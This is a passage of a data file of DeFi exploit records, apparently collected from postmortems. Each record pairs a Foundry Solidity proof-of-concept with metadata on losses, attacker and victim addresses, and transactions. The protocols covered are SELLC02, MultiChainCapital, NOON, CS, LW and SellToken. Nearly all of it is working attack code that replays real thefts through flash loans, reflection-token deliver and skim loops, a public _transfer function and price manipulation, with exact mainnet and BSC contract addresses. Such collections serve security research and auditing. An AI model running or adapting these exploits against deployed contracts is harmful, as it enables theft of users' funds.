return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function burn(\n uint256 amount\n ) external {\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}\n", "type": "exploit_poc", "protocol": "SELLC02", "date": "2023-05", "file_name": "SELLC02_exp.sol", "attack_vector": null, "content_hash": "fdf5ed37e8b3a877", "collected_at": "2026-01-07T10:59:16.522152", "_source": "postmortems", "chain": "bsc", "block_number": 28187317, "total_lost_raw": "unclear US$", "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xa3aa817587556c023e78b2285d381c68cee17069", "attack_contract": "https://bscscan.com/address/0x9a366027e6be5ae8441c9f54455e1d6c41f12e3c", "vulnerable_contract": "https://bscscan.com/address/0xeaf83465025b4bf9020fdf9ea5fb6e71dc8a0779", "attack_tx": "https://bscscan.com/tx/0xfe80df5d689137810df01e83b4bb51409f13c865e37b23059ecc6b3d32347136", "postmortem_url": null, "twitter_url": "https://twitter.com/BlockSecTeam/status/1657715018908180480", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "unclear US$", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(USDT), address(this), 1000 * 1e18);\n stakeFactory(10);\n\n cheats.warp(block.timestamp + 60 * 60);\n\n TokenA = new TOKENA();\n TokenA.mint(100);\n Pair.flash(address(this), 10_000 * 1e18, 0, new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker QIQI balance after exploit\", QIQI.balanceOf(address(this)), QIQI.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "unclear US$", "keyinfo_attacker": "https://bscscan.com/address/0xa3aa817587556c023e78b2285d381c68cee17069", "keyinfo_attack_contract": "https://bscscan.com/address/0x9a366027e6be5ae8441c9f54455e1d6c41f12e3c", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xeaf83465025b4bf9020fdf9ea5fb6e71dc8a0779", "keyinfo_attack_tx": "https://bscscan.com/tx/0xfe80df5d689137810df01e83b4bb51409f13c865e37b23059ecc6b3d32347136", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1657715018908180480", "funds_lost_formatted": "Unknown", "content_richness_score": 8, "quality_estimate": "high", "title": "SELLC02 Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~10 ETH\n// Attacker : https://etherscan.io/address/0x8a4571c3a618e00d04287ca6385b6b020ce7a305\n// Attack Contract : https://etherscan.io/address/0x52d74eb7c01c763219dce713da97ebae8b91728e\n// Attacker Transaction : https://etherscan.io/tx/0xf72f1d10fc6923f87279ce6c0aef46e372c6652a696f280b0465a301a92f2e26\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1655846558762692608\n\ninterface IMCC is IERC20 {\n function deliver(\n uint256 amount\n ) external;\n function isExcluded(\n address account\n ) external returns (bool);\n function isExcludedFromFee(\n address account\n ) external returns (bool);\n function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external returns (uint256);\n function tokenFromReflection(\n uint256 rAmount\n ) external returns (uint256);\n}\n\ncontract MultiChainCapitalExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IAaveFlashloan aavePool = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IUniswapV2Pair mcc_weth = IUniswapV2Pair(0xDCA79f1f78b866988081DE8a06F92b5e5D316857);\n IMCC mcc = IMCC(0x1a7981D87E3b6a95c1516EB820E223fE979896b3);\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n\n uint256 amount1000 = 1000 ether;\n address excludedFromFeeAddress = 0xfA21382cDF68ccA1B3A7107a8Cc80688eefBEEBc;\n uint256 rOwned;\n uint256 slot9;\n uint256 rTotal;\n uint256 times;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\");\n\n cheats.label(address(aavePool), \"AavePoolV3\");\n cheats.label(address(mcc_weth), \"MCC-WETH UniswapPair\");\n cheats.label(address(mcc), \"MCC\");\n cheats.label(address(weth), \"WETH\");\n cheats.label(address(router), \"UniswapV2Router\");\n }\n\n function testExploit() public {\n cheats.rollFork(17_221_445);\n // emit log_named_decimal_uint(\"allowance\", mcc.allowance(address(0x52d74eb7C01C763219DCE713dA97EBAE8B91728E), address(0x52d74eb7C01C763219DCE713dA97EBAE8B91728E)), mcc.decimals());\n emit log_named_decimal_uint(\"Attacker ETH balance before exploit\", weth.balanceOf(address(this)), 18);\n // console.log(\"excludedFromFee:\", mcc.isExcludedFromFee(excludedFromFeeAddress));\n // console.log(\"excluded:\", mcc.isExcluded(excludedFromFeeAddress));\n\n weth.approve(address(aavePool), type(uint256).max);\n aavePool.flashLoanSimple(address(this), address(weth), 600 ether, new bytes(1), 0);\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", weth.balanceOf(address(this)), 18);\n }\n\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountIn) {\n require(amountOut > 0, \"UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"UniswapV2Library: INSUFFICIENT_LIQUIDITY\");\n uint256 numerator = reserveIn * amountOut * 1000;\n uint256 denominator = (reserveOut - amountOut) * 997;\n amountIn = (numerator / denominator) + 1;\n }\n\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountOut) {\n require(amountIn > 0, \"UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"UniswapV2Library: INSUFFICIENT_LIQUIDITY\");\n uint256 amountInWithFee = amountIn * 997;\n uint256 numerator = amountInWithFee * reserveOut;\n uint256 denominator = (reserveIn * 1000) + amountInWithFee;\n amountOut = numerator / denominator;\n }\n\n function executeOperation(\n address, /*asset*/\n uint256, /*amount*/\n uint256, /*premium*/\n address, /*initator*/\n bytes calldata /*params*/\n ) external payable returns (bool) {\n times = 2;\n (uint256 reserve0, uint256 reserve1,) = mcc_weth.getReserves();\n emit log_named_uint(\"Reserve0\", reserve0);\n emit log_named_uint(\"Reserve1\", reserve1);\n // uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, 58158410617997415654, 999830779487969029700);\n uint256 amountIn = getAmountIn(amount1000 / 100_000 * 10_001, reserve1, reserve0);\n weth.transfer(address(mcc_weth), amountIn);\n mcc_weth.swap(amount1000 / 100_000 * 10_001, 0, address(this), new bytes(0));\n mcc.transfer(excludedFromFeeAddress, 1);\n rTotal = mcc.reflectionFromToken(amount1000, false);\n uint256 attackerBalance = mcc.balanceOf(address(this));\n uint256 attackerROwned = mcc.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n times = 2;\n func1f46(10, 1033);\n\n attackerBalance = mcc.balanceOf(address(this));\n attackerROwned = mcc.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1f46(10, 1034);\n\n attackerBalance = mcc.balanceOf(address(this));\n attackerROwned = mcc.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1f46(10, 1035);\n\n attackerBalance = mcc.balanceOf(address(this));\n attackerROwned = mcc.reflectionFromToken(attackerBalance, false);\n rOwned = attackerROwned;\n func1f46(10, 1036);\n func1f46(10, 1069);\n func1f46(10, 1046);\n func1f46(4, 1018);\n func21b0(10_000);\n\n rTotal = mcc.reflectionFromToken(amount1000, false);\n func1f46(10, 1095);\n func1f46(10, 1081);\n func1f46(10, 1066);\n func1f46(10, 1049);\n func1f46(10, 1029);\n func21b0(5000);\n\n rTotal = mcc.reflectionFromToken(amount1000, false);\n func1f46(10, 1049);\n func1f46(10, 1037);\n func1f46(10, 1023);\n func21b0(500);\n\n rTotal = mcc.reflectionFromToken(amount1000, false);\n func1f46(6, 1012);\n\n (reserve0, reserve1,) = mcc_weth.getReserves();\n amountIn = getAmountIn(reserve0 * 9003 / 10_000, reserve1, reserve0);\n weth.transfer(address(mcc_weth), amountIn);\n mcc_weth.swap(reserve0 * 9003 / 10_000, 0, excludedFromFeeAddress, new bytes(0));\n\n for (uint256 i = 0; i < 15; i++) {\n func1d89(900);\n }\n\n mcc.approve(address(this), type(uint256).max);\n mcc.transferFrom(address(this), excludedFromFeeAddress, 1);\n for (uint256 i = 0; i < 15; i++) {\n func1d89(900);\n }\n\n mcc.transferFrom(address(this), excludedFromFeeAddress, 1);\n for (uint256 i = 0; i < 15; i++) {\n func1d89(900);\n }\n\n mcc.transferFrom(address(this), excludedFromFeeAddress, 1);\n for (uint256 i = 0; i < 7; i++) {\n func1d89(900);\n }\n\n func1d89(500);\n func1d89(500);\n func1d89(500);\n func1d89(50);\n func19c(900);\n func19c(300);\n func19c(100);\n func19c(20);\n\n uint256 pairBalance = mcc.balanceOf(address(mcc_weth));\n (reserve0, reserve1,) = mcc_weth.getReserves();\n uint256 amountOut = getAmountOut(pairBalance - reserve0, reserve0, reserve1);\n mcc_weth.swap(0, amountOut, address(this), new bytes(0));\n return true;\n }\n\n function func1f46(uint256 v0, uint256 v1) internal {\n slot9 = v1;\n uint256 v3 = mcc.tokenFromReflection(rTotal / 100 * v0);\n mcc_weth.swap(v3, 0, address(this), new bytes(1));\n mcc.transfer(excludedFromFeeAddress, 1);\n }\n\n function func21b0(\n uint256 v0\n ) internal {\n (uint256 reserve0, uint256 reserve1,) = mcc_weth.getReserves();\n uint256 amountIn = getAmountIn(amount1000 / 100_000 * v0, reserve1, reserve0);\n weth.transfer(address(mcc_weth), amountIn);\n mcc_weth.swap(amount1000 / 100_000 * v0, 0, address(this), new bytes(0));\n mcc.transfer(excludedFromFeeAddress, 1);\n }\n\n function func1d89(\n uint256 v0\n ) internal {\n mcc.deliver(amount1000 * v0 / 1000);\n mcc_weth.skim(excludedFromFeeAddress);\n }\n\n function func19c(\n uint256 v0\n ) internal {\n mcc.deliver(amount1000 * v0 / 1000);\n }\n\n function uniswapV2Call(\n address, /*sender*/\n uint256, /*amount0*/\n uint256, /*amount1*/\n bytes calldata /*data*/\n ) external {\n if (times > 5) {\n if (times <= 25) {\n uint256 pairBalance = mcc.balanceOf(address(mcc_weth));\n (uint256 reserve0,,) = mcc_weth.getReserves();\n mcc.deliver((reserve0 - pairBalance) * slot9 / 1000);\n times += 1;\n }\n } else {\n uint256 attackerBalance = mcc.balanceOf(address(this));\n uint256 v14 = mcc.reflectionFromToken(attackerBalance, false);\n uint256 v17 = mcc.tokenFromReflection(v14 - rOwned);\n mcc.deliver(v17);\n uint256 pairBalance = mcc.balanceOf(address(mcc_weth));\n (uint256 reserve0, uint256 reserve1,) = mcc_weth.getReserves();\n uint256 amountIn = getAmountIn(reserve0 - pairBalance, reserve1, reserve0);\n weth.transfer(address(mcc_weth), amountIn * slot9 / 1000);\n times += 1;\n }\n }\n}\n", "type": "exploit_poc", "protocol": "MultiChainCapital", "date": "2023-05", "file_name": "MultiChainCapital_exp.sol", "attack_vector": "flash_loan", "content_hash": "04a83bb5a888c596", "collected_at": "2026-01-07T10:59:16.522212", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~10 ETH", "total_lost_usd": 10.0, "attacker_address": "https://etherscan.io/address/0x8a4571c3a618e00d04287ca6385b6b020ce7a305", "attack_contract": "https://etherscan.io/address/0x52d74eb7c01c763219dce713da97ebae8b91728e", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~10 ETH", "category": "flash-loan", "exploit_code": "function testExploit() public {\n cheats.rollFork(17_221_445);\n // emit log_named_decimal_uint(\"allowance\", mcc.allowance(address(0x52d74eb7C01C763219DCE713dA97EBAE8B91728E), address(0x52d74eb7C01C763219DCE713dA97EBAE8B91728E)), mcc.decimals());\n emit log_named_decimal_uint(\"Attacker ETH balance before exploit\", weth.balanceOf(address(this)), 18);\n // console.log(\"excludedFromFee:\", mcc.isExcludedFromFee(excludedFromFeeAddress));\n // console.log(\"excluded:\", mcc.isExcluded(excludedFromFeeAddress));\n\n weth.approve(address(aavePool), type(uint256).max);\n aavePool.flashLoanSimple(address(this), address(weth), 600 ether, new bytes(1), 0);\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", weth.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x8a4571c3a618e00d04287ca6385b6b020ce7a305", "keyinfo_attack_contract": "https://etherscan.io/address/0x52d74eb7c01c763219dce713da97ebae8b91728e", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$10", "content_richness_score": 8, "quality_estimate": "high", "title": "MultiChainCapital Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~2K USD$\n// Vulnerable Contract : https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8#code\n\n// @Analysis\n// https://twitter.com/hexagate_/status/1663501545105702912 (second tx)\n// Vulnerability: Closed source contract. Probable vulnerabilities: Wrong function (_transfer) visibility / Non standard ERC20 implementation\n\ninterface INO {\n function _transfer(address sender, address recipient, uint256 amount) external;\n\n function transfer(address to, uint256 value) external;\n\n function balanceOf(\n address account\n ) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n INO NO = INO(0x6fEAc5F3792065b21f85BC118D891b33e0673bD8);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x421A5671306CB5f66FF580573C1c8D536E266c93);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address public constant flashbotsBuilder = 0xDAFEA492D9c6733ae3d56b7Ed1ADB60692c98Bc5;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_366_979);\n cheats.label(address(NO), \"NO\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(Router), \"Router\");\n }\n\n function testTransfer() public {\n emit log_named_decimal_uint(\n \"Attacker amount of WETH before exploitation of vulnerability\",\n WETH.balanceOf(address(this)),\n WETH.decimals()\n );\n // Vulnerable point. Looks like this function has wrong visibility. This shouldn't be public\n NO._transfer(address(Pair), address(this), NO.balanceOf(address(Pair)) - 1);\n\n Pair.sync();\n // This transfer function seems to be not compatible with IERC20. Custom implementation\n NO.transfer(address(Pair), NO.balanceOf(address(this)));\n\n (uint256 NOReserve, uint256 WETHReserve,) = Pair.getReserves();\n\n flashbotsBuilder.call{value: 0.000000001 ether}(\"\");\n\n uint256 amount1Out = Router.getAmountOut(NO.balanceOf(address(Pair)) - 1, NOReserve, WETHReserve);\n\n Pair.swap(0, amount1Out, address(this), \"\");\n\n emit log_named_decimal_uint(\n \"Attacker amount of WETH after exploitation of vulnerability\",\n WETH.balanceOf(address(this)),\n WETH.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "NOON", "date": "2023-05", "file_name": "NOON_exp.sol", "attack_vector": null, "content_hash": "8384097df04871a8", "collected_at": "2026-01-07T10:59:16.522282", "_source": "postmortems", "chain": "ethereum", "block_number": 17366979, "total_lost_raw": "~2K USD$", "total_lost_usd": 2000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~2K USD$", "category": "unknown", "exploit_code": "function testTransfer() public {\n emit log_named_decimal_uint(\n \"Attacker amount of WETH before exploitation of vulnerability\",\n WETH.balanceOf(address(this)),\n WETH.decimals()\n );\n // Vulnerable point. Looks like this function has wrong visibility. This shouldn't be public\n NO._transfer(address(Pair), address(this), NO.balanceOf(address(Pair)) - 1);\n\n Pair.sync();\n // This transfer function seems to be not compatible with IERC20. Custom implementation\n NO.transfer(address(Pair), NO.balanceOf(address(this)));\n\n (uint256 NOReserve, uint256 WETHReserve,) = Pair.getReserves();\n\n flashbotsBuilder.call{value: 0.000000001 ether}(\"\");\n\n uint256 amount1Out = Router.getAmountOut(NO.balanceOf(address(Pair)) - 1, NOReserve, WETHReserve);\n\n Pair.swap(0, amount1Out, address(this), \"\");\n\n emit log_named_decimal_uint(\n \"Attacker amount of WETH after exploitation of vulnerability\",\n WETH.balanceOf(address(this)),\n WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2K USD$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.0K", "content_richness_score": 6.36, "quality_estimate": "medium", "title": "NOON Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1661098394130198528\n// https://twitter.com/numencyber/status/1661207123102167041\n// @TX\n// https://explorer.phalcon.xyz/tx/bsc/0x906394b2ee093720955a7d55bff1666f6cf6239e46bea8af99d6352b9687baa4\n// @Summary\n// Outdated global variable `sellAmount` for calculating `burnAmount`\n\ncontract CSExp is Test, IPancakeCallee {\n IPancakePair pair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 CS = IERC20(0x8BC6Ce23E5e2c4f0A96429E3C9d482d74171215e);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_466_976);\n }\n\n function testExp() external {\n emit log_named_decimal_uint(\"[Start] Attacker BUSD Balance\", BUSD.balanceOf(address(this)), 18);\n pair.swap(80_000_000 ether, 0, address(this), bytes(\"123\"));\n emit log_named_decimal_uint(\"[End] Attacker BUSD Balance\", BUSD.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n require(msg.sender == address(pair));\n BUSD.approve(address(router), BUSD.balanceOf(address(this)));\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(CS);\n for (uint256 i = 0; i < 99; ++i) {\n router.swapTokensForExactTokens(\n 5000 ether, BUSD.balanceOf(address(this)), path, address(this), block.timestamp + 1000\n );\n }\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BUSD.balanceOf(address(this)), 1, path, 0x382e9652AC6854B56FD41DaBcFd7A9E633f1Edd5, block.timestamp + 1000\n );\n CS.approve(address(router), CS.balanceOf(address(this)));\n path[0] = address(CS);\n path[1] = address(BUSD);\n while (CS.balanceOf(address(this)) >= 3000 ether) {\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 3000 ether, 1, path, address(this), block.timestamp + 1000\n );\n CS.transfer(address(this), 2);\n }\n BUSD.transfer(msg.sender, 80_240_000 ether);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "CS", "date": "2023-05", "file_name": "CS_exp.sol", "attack_vector": null, "content_hash": "d8a40ab393db2af8", "collected_at": "2026-01-07T10:59:16.522328", "_source": "postmortems", "chain": "unknown", "block_number": 28466976, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.28, "quality_estimate": "low", "title": "CS Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~50K US$\n// Attacker : https://bscscan.com/address/0x4404de29913e0fd055190e680771a016777973e5\n// Attack Contract : https://bscscan.com/address/0xa4fbc2c95ac4240277313bf3f810c54309dfcd6c\n// Vulnerable Contract : https://bscscan.com/address/0x7b8c378df8650373d82ceb1085a18fe34031784f\n// Attack Tx : https://bscscan.com/tx/0xb846f3aeb9b3027fe138b23bbf41901c155bd6d4b24f08d6b83bd37a975e4e4a\n// Attack Tx : https://bscscan.com/tx/0x96b34dc3a98cd4055a984132d7f3f4cc5a16b2525113b8ef83c55ac0ba2b3713\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x7b8c378df8650373d82ceb1085a18fe34031784f#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/PeckShieldAlert/status/1656850634312925184\n// Twitter Guy : https://twitter.com/hexagate_/status/1657051084131639296\n\ninterface ILW is IERC20 {\n function getTokenPrice() external view returns (uint256);\n function thanPrice() external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n ILW LW = ILW(payable(0x7B8C378df8650373d82CeB1085a18FE34031784F));\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n Uni_Pair_V2 LP = Uni_Pair_V2(0x6D2D124acFe01c2D2aDb438E37561a0269C6eaBB);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address marketAddr = 0xae2f168900D5bb38171B01c2323069E5FD6b57B9;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_133_285);\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(LW), \"LW\");\n cheats.label(address(LP), \"LP\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(marketAddr), \"marketAddr\");\n }\n\n function testExploit() public {\n Pair.swap(1_000_000 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n USDTToLW();\n while (USDT.balanceOf(marketAddr) > 3000 * 1e18) {\n LW.thanPrice();\n uint256 transferAmount = 2510e18 * 1e18 / LW.getTokenPrice();\n LW.transfer(address(LP), transferAmount);\n LW.thanPrice();\n LP.skim(address(this));\n payable(address(LW)).call{value: 1}(\"\"); // Trigger the swap 3000e18 USDT to LW in the receive function\n }\n LWToUSDT();\n USDT.transfer(address(Pair), 1_002_507 * 1e18);\n }\n\n function USDTToLW() internal {\n USDT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(LW);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function LWToUSDT() internal {\n LW.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(LW);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n LW.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "LW", "date": "2023-05", "file_name": "LW_exp.sol", "attack_vector": null, "content_hash": "e33a01c81a251c64", "collected_at": "2026-01-07T10:59:16.522374", "_source": "postmortems", "chain": "bsc", "block_number": 28133285, "total_lost_raw": "~50K US$", "total_lost_usd": 50000.0, "attacker_address": "https://bscscan.com/address/0x4404de29913e0fd055190e680771a016777973e5", "attack_contract": "https://bscscan.com/address/0xa4fbc2c95ac4240277313bf3f810c54309dfcd6c", "vulnerable_contract": "https://bscscan.com/address/0x7b8c378df8650373d82ceb1085a18fe34031784f", "attack_tx": "https://bscscan.com/tx/0xb846f3aeb9b3027fe138b23bbf41901c155bd6d4b24f08d6b83bd37a975e4e4a", "postmortem_url": null, "twitter_url": "https://twitter.com/PeckShieldAlert/status/1656850634312925184", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~50K US$", "category": "unknown", "exploit_code": "function testExploit() public {\n Pair.swap(1_000_000 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~50K US$", "keyinfo_attacker": "https://bscscan.com/address/0x4404de29913e0fd055190e680771a016777973e5", "keyinfo_attack_contract": "https://bscscan.com/address/0xa4fbc2c95ac4240277313bf3f810c54309dfcd6c", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x7b8c378df8650373d82ceb1085a18fe34031784f", "keyinfo_attack_tx": "https://bscscan.com/tx/0xb846f3aeb9b3027fe138b23bbf41901c155bd6d4b24f08d6b83bd37a975e4e4a", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/PeckShieldAlert/status/1656850634312925184", "funds_lost_formatted": "$50.0K", "content_richness_score": 7.82, "quality_estimate": "medium", "title": "LW Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1657324561577435136\n// @TX\n// https://explorer.phalcon.xyz/tx/bsc/0x7d04e953dad4c880ad72b655a9f56bc5638bf4908213ee9e74360e56fa8d7c6a\n// @Summary\n// Just use `getAmountOut` as token price\n\ninterface ISellTokenRouter {\n function ShortStart(address coin, address addr, uint256 terrace) external payable;\n function withdraw(\n address token\n ) external;\n function setTokenPrice(\n address _token\n ) external;\n function getToken2Price(address token, address bnbOrUsdt, uint256 bnb) external returns (uint256);\n}\n\ncontract SellTokenExp is Test, IDODOCallee {\n IDPPOracle oracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n ISellTokenRouter s_router = ISellTokenRouter(0x57Db19127617B77c8abd9420b5a35502b59870D6);\n IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);\n IPancakeRouter p_router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_168_034);\n deal(address(wbnb), address(this), 10 ether);\n payable(0x0).transfer(address(this).balance);\n }\n\n function testExp() external {\n oracle1.flashLoan(wbnb.balanceOf(address(oracle1)), 0, address(this), bytes(\"a123456789012345678901234567890\"));\n vm.warp(block.timestamp + 100);\n\n oracle1.flashLoan(wbnb.balanceOf(address(oracle1)), 0, address(this), bytes(\"abc\"));\n\n emit log_named_decimal_uint(\"WBNB total profit\", wbnb.balanceOf(address(this)) - 10 ether, 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n uint256 balance = wbnb.balanceOf(address(this));\n if (data.length > 20) {\n balance -= 10 ether;\n }\n //emit log_named_decimal_uint(\"WBNB before\", wbnb.balanceOf(address(this)), 18);\n uint256 swap_balance = balance * 99 / 100;\n uint256 short_balance = balance - swap_balance;\n wbnb.withdraw(short_balance);\n // 1. lift price\n address[] memory path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(SELLC);\n wbnb.approve(address(p_router), type(uint256).max);\n 